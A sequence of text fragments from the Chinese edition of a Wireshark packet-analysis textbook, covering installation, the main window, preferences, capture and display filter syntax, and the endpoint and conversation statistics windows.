作为分析师，我们需要尽可能地隐蔽。最理想的境界是，我们采集我们所需要的数据，而不留下任何的痕迹。这就像是法医在调查时不想对犯罪现场造成任何破坏一样。我们也不希望破坏我们所捕获的网络流量。 当在后面章节中逐步面对一些实际场景时，我们将会逐个对案例进行详细分析，来讨论捕获数据最好的方式。目前来说，图2-15中给出的流程图应该能够帮助你决定用来捕获流量的最佳方法。请记住，这个流程图只是一个简单的通用参考，并不涵盖所有用来监听网络线路的可能方法。 图2-15 帮助确定哪种是最适合的网络监听方法的流程图 Wireshark数据包分析实战(第2版) 第3章 Wireshark入门 在第1章中，我们介绍了几种可以进行网络分析的数据包嗅探工具软件，但在本书中我们将只使用Wireshark，并在此章进行简要的介绍。"},
    {"text": "Wireshark数据包分析实战(第2版) 3.1 Wireshark简史 Wireshark的历史相当久远，其最初的版本叫做Ethereal，由毕业于密苏里大学堪萨斯城分校计算机科学专业的Gerald Combs出于项目需要而开发，并于1998年以GNU Public Licence（GPL）开源许可证发布。 在发布了Ethereal 8年之后，Combs辞职另谋高就，但是在那个时候他的雇主公司掌握着Ethereal的商标权，而Combs也没能和其雇主就取得Ethereal商标达成协议。于是Combs和整个开发团队在2006年中的时候将这个项目重新命名为Wireshark。 Wireshark随后迅速地取得了大众的青睐，而其合作开发团队也壮大到500人以上，然而之前的Ethereal项目却再没有前进过一步。 Wireshark数据包分析实战(第2版) 3.2 Wireshark的优点 Wireshark在日常应用中具有许多优点，无论你是初学者还是数据包分析专家，Wireshark都能通过丰富的功能来满足你的需要。在第1章中，我们为挑选数据包嗅探工具提出过一些重要的判断特征，让我们来检查一下Wireshark是否具有这些特征。 支持的协议 ：Wireshark在支持协议的数量方面是出类拔萃的——于本书截稿时Wireshark已提供了超过850种协议的支持。这些协议包括从最基础的IP协议和DHCP协议到高级的专用协议比如AppleTalk和BitTorrent等。由于Wireshark在开源模式下进行开发，每次更新都会增加一些对新协议的支持。 注意 在一些特殊情况下，如果Wireshark并不支持你所需要的协议，你还可以通过自己编写代码提供相应的支持，并提供给Wirshark的开发者，以便于使之能被包含在之后版本中（当然是在代码被采纳的情况下）。 用户友好度 ：Wireshark的界面是数据包嗅探工具中最容易理解的工具之一。它基于GUI，并提供了清晰的菜单栏和简明的布局。为了增强实用性，它还提供了不同协议的彩色高亮，以及通过图形展示原始数据细节等不同功能。与tcpdump使用复杂命令行的那些数据包嗅探工具相比，Wireshark的图形化界面对于那些数据包分析的初学者而言，是十分方便的。 价格 ：由于Wireshark是开源的，它在价格上面是无以匹敌的。Wireshark是遵循GPL协议发布的自由软件，任何人无论出于私人还是商业目的，都可以下载并且使用Wireshark。 注意 尽管Wireshark是免费的，但是还是会有一些人不小心去“付费”购买它。如果你在eBay搜索“数据包嗅探”，你会惊讶地发现会有如此多的人想以$39.95的跳楼价向你出售Wireshark的“专业企业级许可证”。显而易见，这些都是骗人的把戏。但是如果你执意想要购买这些所谓的“许可证”，不如给我打个电话，我正有些肯塔基的海边别墅以跳楼价出售（肯塔基州是美国的一个内陆州——译者注）。 程序支持 ：一个软件的成败通常取决于其程序支持的好坏。虽然像Wireshark这样的自由分发软件很少会有正式的程序支持，而是依赖于开源社区的用户群，但是幸运的是，Wireshark社区是最活跃的开源项目社区之一。Wireshark网页上给出了许多种程序支持的相关链接，包括在线文档、支持与开发wiki、FAQ，并可以注册Wireshark开发者都关注的邮件列表。CACE Technologies通过SharkNet项目也对外提供付费支持。 支持的操作系统 ：Wireshark对主流的操作系统都提供了支持，其中包括Windows、Mac OS X以及基于Linux的系统。你可以在Wireshark的主页上查询所有Wireshark支持的操作系统列表。"},
    {"text": "Wireshark数据包分析实战(第2版) 3.3 安装Wireshark Wireshark的安装过程极其简单。但在你安装之前要确保你的机器满足如下要求。 400MHz及以上的处理器 128MB内存 至少75MB的可用存储空间 支持混杂模式的网卡 WinPcap驱动 WinPcap驱动是Windows对于pcap数据包捕获的通用程序接口（API）的实现，简单来说就是这个驱动能够通过操作系统捕捉原始数据包、应用过滤器，并能够让网卡切入或切出混杂模式。 尽管你也可以单独下载安装WinPcap（ http://www.winpcap.org ），但一般最好使用Wireshark安装包中的WinPcap。因为这个版本的WinPcap经过测试，能够和Wireshark一起工作。 3.3.1 在微软Windows系统中安装 在Windows中安装Wireshark的第一步就是在Wireshark的官方网站 http://www.wireshark.org 上找到Download页面，并选择一个镜像站点下载最新版的安装包。在下载好安装包之后，遵照如下步骤进行安装。 1．双击.exe文件开始进行安装，在介绍页面上单击 Next 。 2．阅读许可证条款，如果同意接受此条款，单击 I Agree 。 3．选择你希望安装的Wireshark组件，如图3-1所示。在本书中接受默认设置即可，并单击 Next 。 图3-1 选择你想要安装的Wireshark组件 4．在Additional Tasks窗口中单击 Next 。 5．选择Wireshark的安装位置，并单击 Next 。 6．当弹出是否需要安装WinPcap的对话框时，务必确保 Install WinPcap 选项已被勾选，如图3-2所示，然后单击 Install 。安装过程便会随即开始。 7．Wireshark的安装过程进行了大约一半的时候，会开始安装WinPcap。在介绍页面单击 Next 之后，请阅读许可协议并单击 I Agree 。 8．WinPcap应该已经安装到你的电脑上，在安装完成之后，单击 Finish 。 9．Wireshark应该已经安装到你的电脑上，在安装完成之后，单击 Next 。 10．在安装完成确认界面中，单击 Finish 。 图3-2 选中安装WinPcap驱动的选项 3.3.2 在Linux系统中安装 在Linux系统中安装Wireshark的第一步是先下载合适的安装包。由于Wireshark并不支持所有的Linux版本，所以你可能会发现并没有合适你的Linux版本对应的安装包可供下载。 一般来说，如果作为系统软件安装，你需要具有root权限。但如果你通过编译源代码安装为本地软件，那么通常就不需要root权限。 使用RPM的系统 对于类似于红帽Linux（Red Hat Linux）等使用RPM的Linux发行版，在从Wireshark网站上下载好合适的安装包之后，打开一个命令行程序并键入如下命令（将文件名替换成你所下载安装包的名称）： rpm -ivh wireshark-0.99.3.i386.rpm 如果缺少相关程序支持，在安装好这些之后，再重新安装Wireshark。 使用DEB的系统 对于类似与Debian和Ubuntu等使用DEB的Linux版本，你可以从系统源中安装Wireshark，打开一个命令行窗口并键入如下命令。 apt-get install wireshark 使用源代码编译 如果你的Linux没有自动安装包管理工具，那么安装Wireshark最高效的方法就是使用源代码编译。下面的步骤给出了安装方法。 1．从Wireshark网站下载源代码包。 2．键入下面的命令将压缩包解压（将文件名替换成你所下载源代码包的名称）。 tar -jxvf wireshark-1.2.2.tar.bz2 3．进入解压缩后创建的文件夹。 4．以root级别的用户身份使用 ./configure 命令配置源代码以便其能正常编译。如果你不想使用默认的设置，你可以这时指定安装选项。如果缺少相关软件支持，你应该会得到相关错误信息。如果安装成功了，你应该可以得到成功的提示，如图3-3所示。 图3-3 由./configure命令得到的成功输出 5．输入 make 命令将源代码编译成二进制文件。 6．使用 make install 命令完成最后的安装。 3.3.3 在Mac OS X系统中安装 在Mac OS X雪豹系统中安装Wireshark有一些注意事项，但安装并不困难，我在这里罗列了所需的安装步骤。 1．从Wireshark网站上下载DMG包。 2．将Wireshark.app复制到Applications文件夹。 3．打开Utilities文件夹中的Wireshark.app。 4． 在Finder中单击Go，选择Go To Folder。输入 /usr/local/bin/ 打开这个文件夹。 5．将Command Line文件夹中的内容复制到/usr/local/bin/，这时你需要输入你的密码以完成操作。 6．在Utilities文件夹中，将ChmodBPF文件夹复制到StartupItems文件夹，这时你需要再次输入你的密码以完成该操作。安装过程至此宣告结束。"},
    {"text": "图3-4 选择你想要进行数据包捕获的端口 4．等上一分钟左右，当你打算停止捕获并查看你的数据时，在Capture的下拉菜单中单击 Stop 按钮即可。"},
    {"text": "当你做完了以上步骤并完成了数据包的捕获，Wireshark的主窗口中应该已经呈现了相应的数据，但此时你可能已经对那些数据的规模感到头疼，这也就是为什么我们把Wireshark一整块的主窗口进行拆分的原因。 3.4.2 Wireshark主窗口 Wireshark的主窗口是将你所捕获的数据包显示或拆分成更容易使人理解的方式的地方，也将是你花费时间最多的地方。 我们使用刚刚捕获的数据包来介绍一下Wireshark的主窗口，如图3-5所示。 图3-5 Wireshark主窗口的设计使用了3个面板 主窗口的3个面板相互有着联系。"},
    {"text": "如果希望在Packet Details面板中查看一个单独的数据包的具体内容，你必须现在Packet List面板中单击选中那个数据包。 在你选中了数据包之后，你可以通过在Packet Details面板中选中数据包的某个字段，从而在Packet Bytes面板中查看相应字段的字节信息。"},
    {"text": "注意 在图3-5中的Packet List面板中列出了几种不同的协议，但这里并没有使用不同的层次来对不同的协议进行视觉上的区分，所有的数据包都是按照其在链路上接收到的顺序排列的。"},
    {"text": "Packet List（数据包列表）： 最上面的面板用表格显示了当前捕获文件中的所有数据包，其中包括了数据包序号、数据包被捕获的相对时间、数据包的源地址和目标地址、数据包的协议以及在数据包中找到的概况信息等列。 注意 当文中提到流量的时候，我通常是指Packet List面板中所有呈现出来的数据包，而当特别提到DNS流量时，我指的是Packet List面板中DNS协议的数据包。 Packet Details（数据包细节）： 中间的面板分层次地显示了一个数据包中的内容，并且可以通过展开或是收缩来显示这个数据包中所捕获到的全部内容。 Packet Bytes（数据包字节）： 最下面的面板可能是最令人困惑的，因为它显示了一个数据包未经处理的原始样子，也就是其在链路上传播时的样子。"},
    {"text": "3.4.3 Wireshark首选项 Wireshark提供了一些首选项设定，可以让你根据需要进行定制。 如果需要设定Wireshark首选项，在主下拉菜单中选择 Edit 然后单击 Preferences ，然后你便可以看到一个首选项的对话框，里面有一些可以定制的选项，如图3-6所示。 图3-6 你可以使用Preferences对话框中的选项自定义Wireshark的配置 Wireshark首选项分为6个主要部分。"},
    {"text": "你可以根据你的个人喜好对大多数选项进行调整，比如是否保存窗口位置、3个主要窗口的布局、滚动条的摆放、Packet List面板中列的摆放，以及显示捕获数据的字体、前景色和背景色等。"},
    {"text": "Capture（捕获）： 这些选项可以让你对你捕获数据包的方式进行特殊的设定，比如你默认使用的设备、是否默认使用混杂模式、是否实时更新Packet List面板等。"},
    {"text": "Name Resolutions（名字解析）： 通过这些设定，你可以开启Wireshark将地址（包括MAC、网络以及传输名字解析）解析成更加容易分辨的名字这一功能，并且可以设定可以并发处理名字解析请求的最大数目。"},
    {"text": "3．单击 Edit 按钮，你会看到一个Edit Color Filter窗口，如图3-9所示。 4．单击 Background Color 按钮。 5．使用颜色滚轮选择一个你希望使用的颜色，然后单击 OK 。"},
    {"text": "举例来说，如果你觉得你的网络上有一个恶意的DHCP服务器在分发IP，你可以简单地修改DHCP协议的着色规则，使其呈现明黄色（或者其他易于辨认的颜色）。"},
    {"text": "Wireshark数据包分析实战(第2版) 第4章 捕获数据包 现在，你已经了解了Wireshark，并且也准备好进行数据包的捕获和分析了。在这一章中，你将会学习如何使用捕获文件、分析数据包以及时间显示格式。我们也会介绍更多捕获数据包所用到的高级选项，并进入过滤器的世界。 Wireshark数据包分析实战(第2版) 4.1 使用捕获文件 当你进行数据包分析的时候，你会发现很大一部分分析工作是在你捕获数据包之后进行的。通常情况下，你会在不同时间进行多次捕获，将结果保存下来，然后一起进行分析，所以Wireshark可以让你保存你的捕获文件，以便之后分析，你也可以将多个捕获文件进行合并。 4.1.1 保存和导出捕获文件 如果想要保存捕获的数据包，选择 File->Save As ，之后你应该就能看见Save File As对话框，如图4-1所示。对话框会询问你想要保存捕获的数据包的位置，以及你希望保存的格式。如果你不选择一个文件格式，那么Wireshark会默认使用.pcap文件格式。 图4-1 Save File As对话框可以让你保存数据包捕获 Save File As对话框的一个更强大的功能是你可以指定需要保存的数据包范围。这是一个让“胖”捕获文件变“瘦”的好方法。你可以选择只保存一定序号范围内的数据包、标记了的数据包，或者经过过滤器筛选后显示出来的数据包等（标记的数据包和过滤器会在这一章后面进行讨论）。 你可以将Wireshark捕获的数据导出到几种不同格式的文件中，以便于在其他工具中查看，或是导入到其他的数据包分析工具中。这些格式包括文本文件、PostScript、逗号分隔值（CSV）和XML。如果想要导出捕获的数据包，选择 File->Export ，并选择你想要导出的文件格式。你将会看到一个包含着相应文件格式选项的Save As对话框。 4.1.2 合并捕获文件 某些类型的分析工作需要能够合并多个捕获文件，一般在比较两个数据流或者合并单独捕获的同一数据流量时比较常见。 如果想要合并捕获文件，先打开一个你想要合并的文件，然后选择 File->Merge ，这时便会弹出Merge with Capture File的对话框，如图4-2所示。选择一个你希望合并到当前文件的另一个文件，然后选择你希望进行合并的方式。你可以将所选文件添加到当前文件的前面或者后面，也可以按照它们时间戳的先后进行合并。 图4-2 Merge with Capture File对话框可以让你合并两个捕获文件"},
    {"text": "Wireshark数据包分析实战(第2版) 4.2 分析数据包 你肯定会遇到处理大规模数据包的情形。当这些数据包上千甚至上万时，你需要更高效地在这些数据包中进行查找。出于这个目的，Wireshark可以让你将符合一定条件的数据包进行标记，或者为了更容易参考而打印出来。 4.2.1 查找数据包 如果想要找到符合特定条件的数据包，按Ctrl-F打开Find Packet对话框，如图4-3所示。 图4-3 在Wireshark中根据条件查找数据包 这个对话框为查找数据包提供了3个选项。 Display filter选项可以让你通过输入表达式进行筛选，并只找出那些满足该表达式的数据包。 Hex value选项使用你所输入的十六进制数对数据包进行搜索。 String选项使用你所输入的字符串对数据包进行搜索。 表4-1给出了上述几种搜索类型的例子。 表4-1 用来查找数据包的搜索类型 搜索类型 例子 Display filter not ip ip.addr==192.168.0.1 arp Hex value 00:ff ff:ff 00:AB:B1:f0 String Workstation1 UserB domain 一些其他选项包括选择你所希望进行搜索的窗口、使用的字符集，以及搜索方向。你可以通过指定搜索的面板、设定使用的字符集，以及使搜索对大小写敏感，来对你的字符搜索进行扩展。 当你选好选项并在文本框中输入搜索关键词之后，单击 Find ，就会找到满足该关键词的第一个数据包。如果想要找到下一个匹配的数据包，按Ctrl-N，想要找到前一个，按Ctrl-B。 4.2.2 标记数据包 在找到那些符合搜索条件的数据包之后，你可以根据需要进行标记。举例来说，可能你希望将那些需要分开保存的数据包标记出来，或者根据颜色快速地查找它们。如图4-4所示，被标记的数据包会以黑底白字显示（你也可以仅仅将标记了的数据包选择出来，然后作为数据包捕获保存下来）。 图4-4 被标记的数据包将在你的屏幕上以高亮显示。 在这个例子中，数据包1被标记并且显示为深色 如果你想要标记一个数据包，右击Packet List面板，并在弹出菜单中选择 Mark Packet ，或者在Packet List面板中选中一个数据包，然后按Ctrl-M。如果想取消对一个数据包的标记，再按一次Ctrl-M就可以将其取消。在一次捕获中，你想标记多少个数据包都可以。如果你想要在标记的数据包间前后切换，分别按SHIFT-CTRL-N和SHIFT-CTRL-B即可。 4.2.3 打印数据包 尽管大多数分析都会在电脑屏幕前进行，但你仍然可能需要将捕获结果打印出来。我经常将数据包打印出来，并贴在我的桌子上，这样我在做其他分析的时候，就可以快速地参考这些内容。特别是在做报告的时候，能够将数据包打印成一个PDF文件将是非常方便的。 如果需要打印捕获的数据包，在主菜单中选择 File->Print 打开Print对话框。你可以在图4-5中看到Print对话框的样子。 你可将选中的数据以文本或者PostScript的格式打印或者输出到一个文件。与Save File As对话框相似，你可以按一定范围打印数据包，比如被标记的数据包，或者作为过滤器筛选结果显示出来的数据包。对于每一个数据包，你也可以在Wireshark 3个主面板中选择打印对象。在你做好了这些选择之后，单击 Print 。 图4-5 Print对话框可以让你打印所指定的数据包 Wireshark数据包分析实战(第2版) 4.3 设定时间显示格式和相对参考 时间在数据包的分析中格外重要。所有在网络上发生的事情都是与时间息息相关的，并且你几乎需要在每一个捕获文件中检查时间规律以及网络延迟。Wireshark意识到时间的重要性，并提供了一些相关的选项以供设定。在这一节中，我们将介绍时间的显示格式和相对参考。 4.3.1 时间显示格式 Wireshark所捕获的每一个数据包都会由操作系统给予一个时间戳。Wireshark可以显示这个数据被捕获时的绝对时间戳，也可以是与上一个被捕获的数据包或是捕获开始及结束的相对时间戳。 与时间显示相关的选项可以在主菜单中的View菜单中找到。如图4-6所示，Time Display Format部分可以让你设置时间的显示格式和精度。格式选项可以让你选择不同的格式，而精度选项可以让你将精度设定为自动或者手动，比如秒、毫秒、微秒等。在本书后面，我们将调整这些设置，所以你现在就需要熟悉它。 图4-6 多种可用的时间显示格式 4.3.2 数据包的相对时间参考 数据包的相对时间参考，可以让你以一个数据包作为基准，而之后的数据包都以此计算相对时间戳。当一系列的顺序事件不是在捕获开始时被触发，而是在中间某个地方被触发，这个功能会变得非常好用。 如果希望将某一个数据包设定为时间参考，在Packet List面板中选择作为相对参考的数据包，然后在主菜单中选择 Edit->Set Time Reference 。如果希望取消一个数据包的相对时间参考，选择那个数据包，然后将 Edit->Set Time Reference 设定关掉。 当你将一个数据包设定为时间参考之后，Packet List面板中这个数据包的Time列就会显示为*REF*，如图4-7所示。 只有当捕获的时间显示格式设定为相对于捕获开始的时间，设定数据包时间参考才有用处。使用其他设定都不会生成有用的结果，并且其产生的一堆时间会很令人迷惑。 图4-7 开启了数据包相对时间参考的一个数据包"},
    {"text": "Wireshark数据包分析实战(第2版) 4.4 设定捕获选项 我们在第3章中进行了一次非常基础的数据包捕获。Wireshark在Capture Options对话框中，提供了一些捕获选项，如图4-8所示。通过选择 Capture-> Interfaces ，就可以打开这个对话框，然后单击你想要捕获数据包的网络接口旁边的 Options 按钮。 图4-8 Capture Options对话框 Capture Options对话框提供给了你意想不到的各种选项，为的就是能在进行数据包捕获时给你更多的灵活性。这些选项分为Capture、Capture Files、Stop Capture、Display Options和Name Resolutions 5个部分，在此将逐个予以说明。 4.4.1 捕获设定 你可以在Capture部分中的Interface下拉菜单中设定网络接口，其中右边的下拉菜单显示了所有可用的捕获接口，在左边的下拉菜单中，你可以设定接口是本地的还是远程的。你选中接口的IP地址会在这个下拉菜单的正下方显示出来。 对话框左侧的3个选框可以让你开启或关闭混杂模式（默认为开启）、以实验性的pcap-ng格式来捕获数据包，以及按字节数限制每个捕获数据包的大小。 Capture部分右侧的按钮可以让你进行无线和远程的设定（如果可用）。在这些的下面是缓冲区大小的选项，不过这些选项只在微软Windows系统中可用。你可以设定在写入磁盘之前可以存储在内核缓冲区内所捕获数据的大小（这个选项一般只在你注意到很多丢包发生时才会进行修改，而通常情况下是不会动它的）。Capture Filter选项可以让你指定一个捕获过滤器。 4.4.2 捕获文件设定 Capture File(s)部分可以让你自动将捕获的数据包直接存储到文件中，而不是先捕获再存储。这样你在管理数据包的储存上有了更大的灵活性。你可以将它们存储为单一文件或者一个文件集，甚至还可以使用环状缓冲来控制创建的文件数量。如果你想开启这个功能，你需要在File文本框中输入完整的文件路径和文件名。 当你所捕获的流量很大，或者捕获的持续时间很长时，使用文件集进行存储被证明是很好用的。文件集是通过特定条件进行分割的一组文件的集合。如果将数据存到文件集中，在这里需勾选Multiple Files选项。 Wireshark使用基于文件大小或是时间条件的各种触发器，对文件集进行管理。如果想启用这些功能，在Next File Every选项旁边打勾（最上面的那个是文件大小的触发器，下面的那个是基于时间的触发器），然后输入触发条件的数值和单位。举例来说，你可以创建一个每捕获1MB或者一分钟的流量就创建一个新文件的触发器，如图4-9所示。 这些选项也可以进行组合，比如你可以创建两个触发器，每当文件超过1MB或者每过1min（以先满足的条件为准），就创建一个新文件。 图4-9 Wireshark以1min为间隔所创建的文件集 Ring Buffer With选项可以让你使用环状缓冲创建一个文件集。这是一个应用在Wireshark写入多个文件时的一个先进先出（FIFO）算法。尽管环状缓冲在信息科学中有着多种意思，但在这里我们指的是当文件集中最后一个文件写完后并且仍有数据需要写入磁盘时，第一个文件会被覆盖。你可以勾选这个选项，然后指定你希望循环使用的文件的最大数目。举例来说，当你在你的捕获中使用多文件存储时，每小时创建一个文件，然后你将环状缓冲设为6，那么第6个文件被创建之后，这个环状缓冲会循环回来覆盖第1个文件，而不是创建第7个文件。这样就保证了当允许新数据写入时不会有多于6个文件（在这个例子中也意味着6个小时）的数据会留在你的硬盘中。 Stop Capture After选项可以让你在一定数目的文件被创建之后停止当前捕获。 4.4.3 停止捕获选项 Stop Capture部分可以让你在满足一定的触发条件时停止正在进行的捕获。与多文件集的情形类似，你可以使用文件大小、时间间隔或者数据包的数目作为触发条件。这些选项可以与之前介绍的多文件捕获一起使用。 4.4.4 显示选项 Display选项部分用来控制捕获的数据包如何进行显示。Update List of Packets in Real Time选项的名字就说得很明白了，并且可以和Automatic Scrolling in Live Capture一同使用 [1] 。当这两个选项启用之后，所有捕获的数据包都会显示在屏幕上，并且新捕获的数据包会立刻显示出来。 警告 当Update List of Packets in Real Time和Automatic Scrolling in Live Capture选项都被选中并且当捕获一定数量的数据包时，这将会对处理器产生相当的负担。除非你一定需要实时查看数据包，否则最好将这两个选项都取消掉。 Hide Capture Info Dialog选项可以让你屏蔽掉用来根据协议显示数据包数量和比率的小窗口。 4.4.5 名字解析选项 Name Resolution部分可以让你在你的捕获中，启用自动的数据链路层（第2层）、网络层（第3层）和传输层（第4层）的名字解析。我们将在第5章深入地讨论Wireshark的名字解析以及其不足。"},
    {"text": "捕获过滤器：当进行数据包捕获时，只有那些满足给定的包含/排除表达式的数据包会被捕获。 显示过滤器：该过滤器根据指定的表达式用于在一个已捕获的数据包集合中，隐藏不想显示的数据包，或者只显示那些需要的数据包。"},
    {"text": "举个简单例子，你在一台有多种角色的服务器上捕获流量时，很可能会用到捕获过滤器，假设你正在解决一个运行于262端口的网络服务问题，如果你正在分析的那台服务器在许多端口运行着各种不同的网络服务，找到并分析只运行于262端口的流量本身可能就具有一定的工作量。"},
    {"text": "1．选择 Capture->Interfaces ，然后单击你想要进行数据包捕获的设备旁的 Options 按钮，以打开Capture Options对话框。 2．选择你想进行数据包捕获的设备，然后选择一个捕获过滤器。"},
    {"text": "我们希望我们的过滤器只显示出262端口的出站和入站流量，所以如图4-10所示输入 port 262 （我们将在下一区段中仔细地讨论关于过滤表达式的问题）。"},
    {"text": "1．捕获过滤器的BPF语法 捕获过滤器应用于WinPcap，并使用Berkeley Packet Filter（BPF）语法。 这个语法被广泛用于多种数据包嗅探软件，主要因为大部分数据包嗅探软件都依赖于使用BPF的libpcap/WinPcap库。"},
    {"text": "表4-2 BPF限定词 限定词 说明 例子 Type 指出名字或数字所代表的意义 host、net、port Dir 指明传输方向是前往还是来自名字或数字 src、dst Proto 限定所要匹配的协议 ether、ip、tcp、udp、http、ftp 图4-11 一个捕获过滤器样例 在给定表达式的组成部分中，一个src限定词和192.168.0.10组成了一个原语。"},
    {"text": "连接运算符 与 (&&) 选择运算符 或 (||) 否定运算符 非 (!) 举例来说，下面的这个表达式只对源地址是192.168.0.10和源端口或目标端口是80的流量进行捕获。"},
    {"text": "举例来说，假设你对一个正在和你网络中某个服务器进行交互的主机所产生的流量感兴趣，你在这台服务器上可以创建一个使用host限定词的过滤器，来捕获所有和那台主机IPv4地址相关的流量。 host 172.16.16.149 如果你在使用一个IPv6网络，你可能需要使用基于IPv6地址的host限定词进行过滤，如下所示。 host 2001:db8:85a3:8a2e:370:7334 你同样可以使用基于一台设备的主机名host限定词进行过滤，就像以下这样。 host testserver2 或者，如果你考虑到一台主机的IP地址可能会变化，你可以通过加入ether协议限定词，对它的MAC地址进行过滤。 ether host 00-1a-a0-52-e2-a0 传输方向限定词通常会和前面例子演示的那些过滤器一起使用，来捕获流向或者流出某台主机的流量。"},
    {"text": "src host 172.16.16.149 如果想只捕获离开172.16.16.149服务器，其目的地为有问题的主机的流量，使用dst限定词。 dst host 172.16.16.149 当你在一个原语中没有指定一种类型限定符（host、net或者port）时，host限定词将作为默认选择。"},
    {"text": "port 8080 如果想要捕获除8080端口外的所有流量，如下所示。 !port 8080 端口过滤器可以和传输方向限定符一起使用。 举例来说，如果希望只捕获前往监听标准HTTP80端口的Web服务器的流量，使用dst限定符。 dst port 80 4．协议过滤器 协议过滤器可以让你基于特定协议进行数据包过滤。"},
    {"text": "举例来说，假设我们想要基于ICMP过滤器的类型域进行过滤，而类型域位于数据包的最开头也就是偏移量为0的位置，那么我们可以通过在协议限定符后输入由方括号括起的字节偏移量，在这个例子中就是icmp[0]，来指定我们想在一个数据包内进行检查的位置。"},
    {"text": "举例来说，我们想要创建一个捕获所有以类型3代码1表示的目标不可达、主机不可达的ICMP数据包，它们都是彼此相邻的1字节字段，位于数据包头部偏移量为0的位置。"},
    {"text": "表4-3 常用捕获过滤器 过滤器 说明 tcp[13]&32==32 设置了URG位的TCP数据包 tcp[13]&16==16 设置了ACK位的TCP数据包 tcp[13]&8==8 设置了PSH位的TCP数据包 tcp[13]&4==4 设置了RST位的TCP数据包 tcp[13]&2==2 设置了SYN位的TCP数据包 tcp[13]&1==1 设置了FIN位的TCP数据包 tcp[13]==18 TCP SYN-ACK数据包 ether host 00:00:00:00:00:00 （替换为你的MAC） 流入或流出你MAC地址的流量 !ether host 00:00:00:00:00:00 （替换为你的MAC） 不流入或流出你MAC地址的流量 broadcast 仅广播流量 icmp ICMP流量 icmp[0:2]＝＝0x0301 ICMP目标不可达、主机不可达 ip 仅IPv4流量 ip6 仅IPv6流量 udp 仅UDP流量 4.5.2 显示过滤器 显示过滤器应用于捕获文件，用来告诉Wireshark只显示那些符合过滤条件的数据包。"},
    {"text": "你可能会需要使用显示过滤器，来清理过滤文件中不相关的广播流量，比如清理掉Packet List面板中与当前的分析问题无关的ARP广播，但是那些ARP广播之后可能会有用，所以最好是把它们暂时过滤掉，而不是删除它们。 如果想要过滤掉捕获窗口中所有的ARP数据包，将你的鼠标放到Packet List面板上方的Filter文本框中，然后输入!arp，就可以从Packet List面板中去掉所有的ARP数据包了，如图4-12所示。"},
    {"text": "图4-12 使用Packet List面板上方的Filter文本框创建一个显示过滤器 1．过滤器表达式对话框（简单方法） 过滤器表达式对话框，如图4-13所示，使得Wireshark的初学者也能很简单地创建捕获和显示过滤器。"},
    {"text": "图4-13 Filter Expression对话框可以让你很容易地在Wireshark中创建过滤器 2．过滤器表达式语法结构（高级方法） 你会经常用到捕获或者显示过滤器来对某一个协议进行过滤。"},
    {"text": "等于操作符可以让你创建一个只显示192.168.0.1这个IP地址相关数据包的过滤器。 ip.addr==192.168.0.1 现在假设你只需要查看那些长度小于128字节的数据包，你可以使用“小于或等于”操作符，来完成这个要求，其过滤器表达式如下。"},
    {"text": "表4-4 Wireshark过滤器表达式的比较操作符 操作符 说明 = = 等于 != 不等于 > 大于 < 小于 >= 大于或等于 <= 小于或等于 逻辑运算符可以让你将多个过滤器表达式合并到一个语句中，从而极大提高过滤器的效率。"},
    {"text": "表4-5 Wireshark过滤器表达式的逻辑操作符 操作符 说明 and 两个条件需同时满足 or 其中一个条件被满足 xor 有且仅有一个条件被满足 not 没有条件被满足 3．显示过滤器表达式实例 尽管在理论上编写过滤器表达式很简单，但你针对不同问题创建过滤器时，仍然需要许多特定的关键词与操作符。"},
    {"text": "表4-6给出了我经常使用的显示过滤器，你也可以访问 http://www.wireshark.org/docs/dfref ，来查看显示过滤器相关信息的一个完整列表。"},
    {"text": "表4-6 常用显示过滤器 过滤器 说明 !tcp.port==3389 排除RDP流量 tcp.flags.syn==1 具有SYN标志位的TCP数据包 tcp.flags.rst==1 具有RST标志位的TCP数据包 !arp 排除ARP流量 http 所有HTTP流量 tcp.port==23 || tcp.port 21 文本管理流量（Telnet或FTP） smtp || pop || imap 文本email流量（SMTP、POP或IMAP） 4.5.3 保存过滤器 当你创建了很多捕获和显示过滤器之后，会发现其中有一些使用得格外频繁。"},
    {"text": "图4-14 Display Filter对话框可以让你保存过滤器表达式 4．在Filter String框中输入实际的过滤器表达式。 5．单击 Save 按钮，将你的过滤器表达式保存到列表中。"},
    {"text": "Wireshark数据包分析实战(第2版) 第5章 Wireshark高级特性 在你掌握了Wireshark的基础知识之后，下一步便是仔细钻研它的分析和图形化功能了。在这一章中，我们将会从这些强大的功能特性中挑选一些进行介绍，其中包括端点和会话窗口、名字解析的细节、协议解析、数据流跟踪、IO图形化等。 Wireshark数据包分析实战(第2版) 5.1 网络端点和会话 如果想让网络通信正常进行，你必须至少拥有两台设备进行数据流交互。端点（endpoint）就是指网络上能够发送或者接收数据的一台设备。举例来说，在TCP/IP的通信中就有两个端点：接收和发送数据系统的IP地址，比如192.168.1.25和192.168.1.30。 例如在数据链路层，通信是基于两台物理网卡和它们的MAC地址进行的。如果接收和发送数据的地址是00:ff:ac:ce:0b:de和00:ff:ac:e0:dc:0f，那么这些地址就是通信中的端点，如图5-1所示。 图5-1 网络上的端点 网络中的一个会话（conversation），就如同两个人之间的会话一样，描述的是两台主机（端点）之间进行的通信。举例来说，Jim和Sally的会话可能是这样子的：“你好吗？”“我很好，你呢？”“非常好！”。192.168.1.5和192.168.0.8之间的一个会话可能就是这样的：“SYN”“SYN/ACK”“ACK”（我们将在第6章介绍更多关于TCP/IP通信过程的细节）。 5.1.1 查看端点 在分析数据流量时，你可能会发现你可以将问题定位到网络中的一个特定端点上去。Wireshark的Endpoints窗口（ Statistics->Endpoints ）给出了每一端点的许多有用统计数据，包括每个端点的地址、传输发送数据包的数量和字节数。 这个窗口顶部的选项卡给出了当前捕获文件中所有支持和被识别的端点。单击其中一个选项卡，就可以将端点的列表缩小到某一个协议上。勾选Name resolution多选框，可以在端点窗口中开启名字解析功能。 你可以使用端点窗口将特定的数据包过滤出来，显示在Packet List面板中。右键单击一个特定的端点，可以看到许多选项，包括创建过滤器以显示只与这个端点相关的流量，或者与选定端点无关的所有流量。你也可以直接将端点导出到一个着色规则中（着色规则在第3章中已有介绍）。 图5-2 端点窗口可以让你查看一个捕获文件里的每个端点 5.1.2 查看网络会话 Wireshark的会话窗口（ Statistics->Conversations ），如图5-3所示，以地址A（ Address A ）和地址B（ Address B ）显示了会话中端点的地址，以及每个设备发送或收到的数据包和字节数。 图5-3 会话窗口可以让你与捕获文件中的每个会话进行交互 这个窗口中列出的会话以不同的协议分开，并可以通过窗口顶部的选项卡进行选择。右键单击一个特定的会话，可以让你创建一些有用的过滤器，比如显示由设备A发出的所有流量，设备B收到的所有流量，或者设备A和设备B之间所有的通信流量。 5.1.3 使用端点和会话窗口进行问题定位 